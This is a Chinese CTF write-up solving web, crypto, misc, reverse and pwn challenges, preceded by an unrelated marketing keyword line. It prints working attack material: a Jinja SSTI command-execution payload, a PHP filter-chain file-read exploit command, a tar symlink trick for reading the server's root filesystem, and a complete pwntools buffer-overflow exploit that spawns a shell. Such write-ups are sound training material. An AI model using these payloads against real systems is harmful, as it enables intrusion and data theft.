旅游营销网站建设微信scrm
web
flask
根据题目描述,很容易想到ssti注入
测试一下
确实存在
直接打payload
{{lipsum.globals[‘os’].popen(‘cat f*’).read()}}
file_copy
看到题目名字为file_copy,
当输入路径时会返回目标文件的大小,
通过返回包,可以看到PHP版本为8.1.31
从而找到DownUnder CTF 2022 的题目
https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle#/
通过github脚本进行读取flag
https://github.com/synacktiv/php_filter_chains_oracle_exploit/tree/main?tab=readme-ov-file#/
python3 filters_chain_oracle_exploit.py --target http://eci-
2ze4o9fodim6wmt5gbgp.cloudeci1.ichunqiu.com/ --file ‘/flag’ --parameter path
运行得到flag
gotar
首先这个题目按照常规思路是进行jwt伪造admin身份然后下载flag文件
![[Pasted image 20250117151338.png]]
![[Pasted image 20250117151351.png]]
但是我试了很久都没有找到key
于是转换思路,在文件上传点那儿做文章
在对go语言文件上传漏洞这方面有个软连接可以读取文件
但是这里只能上传tar文件
问gpt要一个软连接生成方式
![[Pasted image 20250117151822.png]]
mkdir cc # 创建一个名为gotar的新目录。
ln -s / cc/cc # 在gotar目录中创建一个名为key的符号链接,它指向根目录'/'。
tar -cvf cc.tar cc/cc # 创建一个名为1.tar的归档文件,包含gotar/key符号链接。
![[Pasted image 20250117152320.png]]
生成出来,然后上传上去
![[Pasted image 20250117152354.png]]
package controllers import ( "Gotar/db" "Gotar/models" "fmt" "github.com/whyrusleeping/tar-utils" "html/template" "io" "net/http" "os" "path/filepath" "strings") const ( uploadDir = "./assets/uploads" extractedDir = "./assets/extracted"
) func UploadHandler(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Invalid request method", http.StatusMethodNotAllowed) return } err := r.ParseMultipartForm(10 << 20) // 10MB limit if err != nil { http.Error(w, "Failed to parse form", http.StatusBadRequest) return } file, header, err := r.FormFile("file") if err != nil { http.Error(w, "Failed to retrieve file", http.StatusBadRequest) return } defer file.Close() userID := r.Context().Value("userID").(uint) filePath := filepath.Join(uploadDir, fmt.Sprintf("%d_%s", userID, header.Filename)) outFile, err := os.Create(filePath) if err != nil { http.Error(w, "Failed to create file", http.StatusInternalServerError) return } defer outFile.Close() _, err = io.Copy(outFile, file) if err != nil { http.Error(w, "Failed to save file", http.StatusInternalServerError) return } extractedPath, err := extractTar(filePath, userID) if err != nil { http.Error(w, fmt.Sprintf("Failed to extract file: %v", err), http.StatusInternalServerError) return } fileRecord := models.File{ UserID: userID, Name: header.Filename, Path: filePath, ExtractedPath: extractedPath, } db.DB.Create(&fileRecord) http.Redirect(w, r, "/files", http.StatusSeeOther)
} func FilesHandler(w http.ResponseWriter, r *http.Request) { var files []models.File db.DB.Find(&files) tmpl := template.Must(template.ParseFiles("assets/files.html")) tmpl.Execute(w, map[string]interface{}{ "Files": files, })
} func DownloadHandler(w http.ResponseWriter, r *http.Request) { userID := r.Context().Value("userID").(uint) fileID := strings.TrimSuffix(strings.TrimPrefix(r.URL.Path, "/download/"), "/") var file models.File result := db.DB.Where("id = ? AND user_id = ?", fileID, userID).First(&file) if result.Error != nil { http.Error(w, "File not found or access denied", http.StatusNotFound) return } http.ServeFile(w, r, file.ExtractedPath)
} func extractTar(tarPath string, userID uint) (string, error) { userDir := filepath.Join(extractedDir, fmt.Sprintf("%d", userID)) err := os.MkdirAll(userDir, os.ModePerm) if err != nil { return "", err } tarFile, err := os.Open(tarPath) if err != nil { return "", err } defer tarFile.Close() extractor := &tar.Extractor{ Path: userDir, } err = extractor.Extract(tarFile) if err != nil { return "", err } return userDir, nil
}
根据这儿,获取上传地点assets/extracted/2/cc/
![[Pasted image 20250117153055.png]]
![[Pasted image 20250117153039.png]]
crypto
通往哈希的旅程
根据题目意思,已知前三位,需要爆破8位sha1值即可
exp:
import hashlib
from tqdm import tqdmtarget_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"def crack_sha1_hash():for i in tqdm(range(100000000,1,-1)): # 遍历所有以188开头的11位号码phone_number = f"188{i:08d}" # 填充为11位数字hash_result = hashlib.sha1(phone_number.encode()).hexdigest() # 计算SHA-1哈希if hash_result == target_hash: # 比较哈希值return f"flag{{{phone_number}}}" # 匹配成功返回结果return "未找到匹配的号码"result = crack_sha1_hash()
print(result)
#flag{18876011645}
你是小哈斯?
直接一行一行sha1爆破即可(
exp:
import hashlib
import itertools
import stringfile_path = "题目内容.txt"
charset = string.ascii_letters+string.digits+string.punctuationmax_length = 30
def brute_force_sha1(target_sha1, charset, max_length):for length in range(1, max_length + 1):for candidate in itertools.product(charset, repeat=length):candidate_str = ''.join(candidate)sha1_hash = hashlib.sha1(candidate_str.encode()).hexdigest()if sha1_hash == target_sha1:return candidate_strreturn Nonedef process_file(file_path, charset, max_length):try:with open(file_path, 'r') as file:lines = file.readlines()sha1_hashes = [line.strip() for line in lines]for sha1_hash in sha1_hashes:result = brute_force_sha1(sha1_hash, charset, max_length)if result:print(result,end="")else:print("未找到匹配的字符串")except FileNotFoundError:print(f"文件 {file_path} 未找到!")process_file(file_path, charset, max_length)
#1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=
#得到flag{game_cqb_isis_cxyz}
RSA1
task:
from Crypto.Util.number import *
import uuidp, q = [getPrime(512) for _ in range(2)]
N = p * qflag = b'flag{' + str(uuid.uuid4()).encode() + b'}'
flag += bin(getPrime((1024 - bytes_to_long(flag).bit_length()) // 8)).encode()m1 = bytes_to_long(flag)
m2 = bytes_to_long(''.join(chr((ord(i) + 3) % 128) for i in flag.decode()).encode())e = getPrime(128)
c1 = pow(m1 * e, 2835, N)
c2 = pow(m2, 2025, N)
c3 = pow(m2, 2835, N) + eprint(f'{N = }')
print(f'{c1 = }')
print(f'{c2 = }')
print(f'{c3 = }')'''
N = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
c1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
c2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
c3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
'''
先copper爆e:
from Crypto.Util.number import long_to_bytes
import gmpy2N = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
c1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
c2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
c3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
cc3=c3>>128
ccc3=cc3<<128cc2=pow(c2,7,N)R.<e> = PolynomialRing(Zmod(N))f=(ccc3+e)^5 - cc2
f=f.monic()
res=f.small_roots(X=2^128,beta=0.4,epsilon=0.02)
x=(ccc3+res[0])%Ne1=c3-x
print(e1)
#281211879955223558268422413173406510291
得到e后 ,注意他们之间的关系,这里测试:
m1=b'flag{'
print(3*256**0 + 3*256**1 + 3*256**2 + 3*256**3 + 3*256**4)#12935430915
print(bytes_to_long(m1))
m2 = bytes_to_long(''.join(chr((ord(i)+ 3)% 128)for i in m1.decode()).encode())
print(m2)
print(m2-bytes_to_long(m1))#12935430915
得到他们的相关消息 m2-bytes_to_long(m1)和3256**0 + 32561 + 3*2562 + 3256**3 + 3256**4一样,猜测这个关系推。但注意acsii表的125是},要特殊处理。然后franklin-reiter攻击:
exp:
from Crypto.Util.number import long_to_bytes
import gmpy2N = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
c1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
c2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
c3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
e1=281211879955223558268422413173406510291
bb = 0
inve1 = gmpy2.invert(int(pow(e1, 2835, N)),int(N))
cc1 = (c1 * inve1) % Nfor i in range(130):if i != 88:bb += 3 * (256 ^ i) else:bb -= 125 * (256 ^ i)
print(bb)def attack(c1, c2, a, b, e, n):PR.<x>=PolynomialRing(Zmod(n))g1 = x^2835 - c1g2 = (a*x + b)^2835 - c2def gcd(g1, g2):while g2:g1, g2 = g2, g1 % g2return g1.monic()print(gcd(g1, g2))return -gcd(g1, g2)[0]
m1 = attack(cc1,x, 1, bb, 2835, N)
for i in range(2 ** 16):m11 = int(m1) + i * Nif b"flag" in long_to_bytes(m11):print(long_to_bytes(m11))
#flag{2404dcef-4223-417d-aee0-c236241f2320}
misc
简单算术
# 给定的加密字符串
encrypted_str = "ys~xdg/m@]mjkz@vl@z~lf>b"# 尝试不同的密钥
for key in range(256): # 遍历所有256个可能的字节值decrypted_str = ''.join(chr(ord(c) ^ key) for c in encrypted_str)print(f"Key: {key} -> {decrypted_str}")
写一个脚本遍历即可
简单镜像提取
aztec条码,解码得到
5FIVE
解压压缩包得到jpg,丢入010发现有png
提取出来,无法打开,宽高有误,Deformed-Image-Restorer修复
得到
flag:flag{opium_00pium}
See anything in these pics?
http流发现上传了一个zip
please recovery.zip,提取出来,zip中是个img文件
R-Studio打开
有一个xls文件,打开
flag:flag{E7A10C15E26AA5750070EF756AAA1F7C}
re
ezre
IDA反汇编发现是标准的伪随机数逆向:
v5 = __readfsqword(0x28u);*seed = 0LL;v2 = 0LL;custom_md5_init(seed);srand(seed[0]); // 78DCD8B08AA32488// 0FA7DC49E78480EE5printf("Enter input: ");fgets(s, 43, stdin);if ( strlen(s) == 42 ){memset(s1, 0, 0x2BuLL);xor_string_with_rand(s, s1);if ( !memcmp(s1, &ida_chars, 0x2BuLL) )puts("right");elseputs("wrong");}
直接使用ltrace获取seed的种子数,就得到了随机数数列了
┌──(kali㉿kali)-[~/Desktop/CTFGame/cunqiubei2024/ezre]
└─$ ltrace -e srand ./ezre
ezre->srand(3021285795) = <void>
Enter input: 12313213
Invalid input length.
+++ exited (status 0) +++
下面就是异或逆运算了:
import ctypes
import os# 加载 C 库
if os.name == 'nt': # 如果是 Windows 系统libc = ctypes.CDLL('msvcrt.dll')
else: # 如果是其他系统libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')# 声明 srand 和 rand 函数的签名
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int# 定义 Python 封装函数
def set_seed(seed):libc.srand(seed)def generate_random():return libc.rand()target = [0x5C, 0x76, 0x4A, 0x78, 0x15, 0x62, 0x05, 0x7C, 0x6B, 0x21, 0x40, 0x66, 0x5B, 0x1A, 0x48, 0x7A, 0x1E, 0x46, 0x7F, 0x28, 0x02, 0x75, 0x68, 0x2A, 0x34, 0x0C, 0x4B, 0x1D, 0x3D, 0x2E, 0x6B, 0x7A, 0x17, 0x45, 0x07, 0x75, 0x47, 0x27, 0x39, 0x78, 0x61, 0x0B]set_seed(3021285795)
for i in range(len(target)):randnum = generate_random()%127print(chr(randnum^target[i]),end="")#得出flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99}
ko0h
发现tls进程检测反调试:
if ( Process32FirstW(hSnapshot, &pe) ){do{WideCharToMultiByte(0xFDE9u, 0, pe.szExeFile, -1, MultiByteStr, 260, 0, 0);for ( k = 0; k < 7; ++k ){if ( !strcmp(MultiByteStr, Str2[k]) )return 1;}}while ( Process32NextW(hSnapshot, &pe) );
发现inlinehook 劫持了原有的base64加密的函数,替换成了一个真正的题目
int sub_4027E0()
{char v1; // [esp+0h] [ebp-E8h]DWORD flOldProtect[3]; // [esp+D0h] [ebp-18h] BYREFint Src[2]; // [esp+DCh] [ebp-Ch] BYREFif ( !ReadProcessMemory(0xFFFFFFFF, sub_4010AA, &unk_40C1D0, 7u, 0) )return sub_401096("ReadProcessMemory error\n", v1);Src[0] = sub_40105A;byte_40C010 = 0xB8;memcpy(&byte_40C010 + 1, Src, 4u);*(&byte_40C010 + 5) = 0xFF;*(&byte_40C010 + 6) = 0xE0;flOldProtect[0] = 0;VirtualProtect(sub_4010AA, 7u, 0x40u, flOldProtect);WriteProcessMemory(0xFFFFFFFF, sub_4010AA, &byte_40C010, 7u, 0);return VirtualProtect(sub_4010AA, 7u, flOldProtect[0], flOldProtect);
}
发现了一个添加了减法运算的RC4加密:
void __cdecl sub_402B60(int input, signed int Size)
{
...data = malloc(Size);if ( data ){rc4(input, data, Size, Key, keylen);for ( i = 0; i < Size; ++i ){if ( v5[i] != data[i] )return;}sub_401096("yes", v2);}
}
发现一个反调试函数动态修改key导致动调的时候过不了:
int sub_402A70()
{char Source[20]; // [esp+D0h] [ebp-18h] BYREFif ( IsDebuggerPresent() )return 0;strcpy(Source, "DDDDAAAASSSS");return sub_401276(Key, Source);
}
key是DDDDAAAASSSS
密文是:
v5[0] = 24;v5[1] = -100;v5[2] = 71;v5[3] = 61;v5[4] = 59;v5[5] = -31;v5[6] = 41;v5[7] = 39;v5[8] = -97;v5[9] = 52;v5[10] = -125;v5[11] = -43;v5[12] = -19;v5[13] = -75;qmemcpy(&v5[14], "nY", 2);v5[16] = 127;v5[17] = -34;v5[18] = 71;v5[19] = -41;v5[20] = 101;v5[21] = 63;v5[22] = 122;v5[23] = 51;v5[24] = 91;v5[25] = 100;v5[26] = -74;v5[27] = -6;v5[28] = -108;v5[29] = 85;v5[30] = -121;v5[31] = 66;v5[32] = 32;v5[33] = 6;v5[34] = 12;v5[35] = 105;v5[36] = -2;v5[37] = 114;v5[38] = -87;v5[39] = -28;v5[40] = -47;v5[41] = 124;
得出解题脚本:
class RC4:def __init__(self, key):"""初始化 RC4 算法。参数:key (bytes): 密钥。"""self.S = list(range(256)) # 初始化状态数组self.key = keyself.key_scheduling()def key_scheduling(self):"""RC4 密钥调度算法(KSA)。"""j = 0for i in range(256):j = (j + self.S[i] + self.key[i % len(self.key)]) % 256self.S[i], self.S[j] = self.S[j], self.S[i] # 交换 S[i] 和 S[j]def decrypt(self, plaintext):"""RC4 加密。参数:plaintext (bytes): 明文。返回:bytes: 加密后的密文。"""i = j = 0keystream = []for byte in plaintext:i = (i + 1) % 256j = (j + self.S[i]) % 256self.S[i], self.S[j] = self.S[j], self.S[i] # 交换 S[i] 和 S[j]k = (self.S[(self.S[i] + self.S[j])%256]) k = (byte + k) % 256keystream.append(k)# 将密钥流与明文/密文进行异或操作# result = bytes([x ^ y for x, y in zip(plaintext, keystream)])return keystream#flag{babababababababababababababababababab}# 示例用法
if __name__ == "__main__":ciphertext_hex =[0x18, 0x9C, 0x47, 0x3D, 0x3B, 0xE1, 0x29, 0x27, 0x9F, 0x34, 0x83, 0xD5, 0xED, 0xB5, 0x6E, 0x59, 0x7F, 0xDE, 0x47, 0xD7, 0x65, 0x3F, 0x7A, 0x33, 0x5B, 0x64, 0xB6, 0xFA, 0x94, 0x55, 0x87, 0x42, 0x20, 0x06, 0x0C, 0x69, 0xFE, 0x72, 0xA9, 0xE4, 0xD1, 0x7C]# 密钥key = b"DDDDAAAASSSS"# ciphertext = bytes(text)# 初始化 RC4rc4 = RC4(key)# 解密plaintext = rc4.decrypt(ciphertext_hex)print(plaintext)for i in plaintext:print(chr(i),end="")
pwn
bypass
拖入IDA直接发现了函数地址泄露:
*s = &puts;....puts("Invalid"); // 输出非法puts(s); // 泄露出s的地址,*s = &puts;
下面这个函数直接存在溢出漏洞:
int sub_400978()
{ssize_t v0; // raxchar s[512]; // [rsp+0h] [rbp-610h] BYREFchar s2[512]; // [rsp+200h] [rbp-410h] BYREFchar v4[526]; // [rsp+400h] [rbp-210h] BYREF__int16 i; // [rsp+60Eh] [rbp-2h]..v0 = read(0, s, 0x200uLL);if ( v0 >= 0 ){LODWORD(v0) = strncmp(s, "KEY: ", 5uLL); // 匹配前5个字符串if ( !v0 ){for ( i = 5; s[i]; ++i )s2[i - 5] = s[i];s2[i - 5] = 0;memset(s, 0, sizeof(s));v0 = read(0, s, 0x200uLL);//存在溢出if ( v0 >= 0 ){LODWORD(v0) = strncmp(s, "VAL: ", 5uLL);if ( !v0 ){for ( i = 5; s[i]; ++i )v4[i - 5] = s[i];v4[i - 5] = 0;
...return v0;
}
地址泄露有了在加上溢出劫持返回地址,直接用onegadget获得shell
from pwn import *
import time# 文件路径和ELF对象的初始化
local_file = './pwn'
elf = ELF(local_file)
libc = ELF('./libc.so.6')# 设置上下文
context.log_level = 'debug'
context.arch = elf.arch# I/O 操作封装
send = lambda data: io.send(data)
send_after = lambda delim, data: io.sendafter(delim, data)
send_line = lambda data: io.sendline(data)
send_line_after = lambda delim, data: io.sendlineafter(delim, data)
recv = lambda num=4096: io.recv(num)
recv_until = lambda delims, drop=True: io.recvuntil(delims, drop)# 地址转换和辅助函数
to_u32 = lambda data: u32(data.ljust(4, b'\x00'))
to_u64 = lambda data: u64(data.ljust(8, b'\x00'))
get_q = lambda data: (~np.uint64(data) + 1)
get_d = lambda data: (~np.uint32(data) + 1)# 获取libc地址
def get_libc_addresses():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))# 打印地址信息
log_address = lambda tag, addr: io.info(f'{tag} ==> {addr:#x}')# 与远程服务器连接,或者本地进程
# io = remote('101.200.198.105', 24698)
io = process(local_file)# 调试用设置
send(p8(2) * 4)
#gdb.attach(io, "b *0x400A02")# 接收数据,获取libc基址
recv_until('d')
recv_until('\n')
libc_base = to_u64(recv(6)) - libc.sym.puts# 发送构造好的payload
send(p8(0) * 4)
one_gadget = 0x4f302
send(b'KEY: ' + b'a' * 19 + p8(0x14) + p8(0x2) + b'c' * 8 + p64(one_gadget + libc_base))# 暂停,等待程序响应
#pause()
sleep(0.1)# 继续发送数据以触发漏洞
send(b'VAL: ' + b'b' * 512)# 进入交互模式
io.interactive()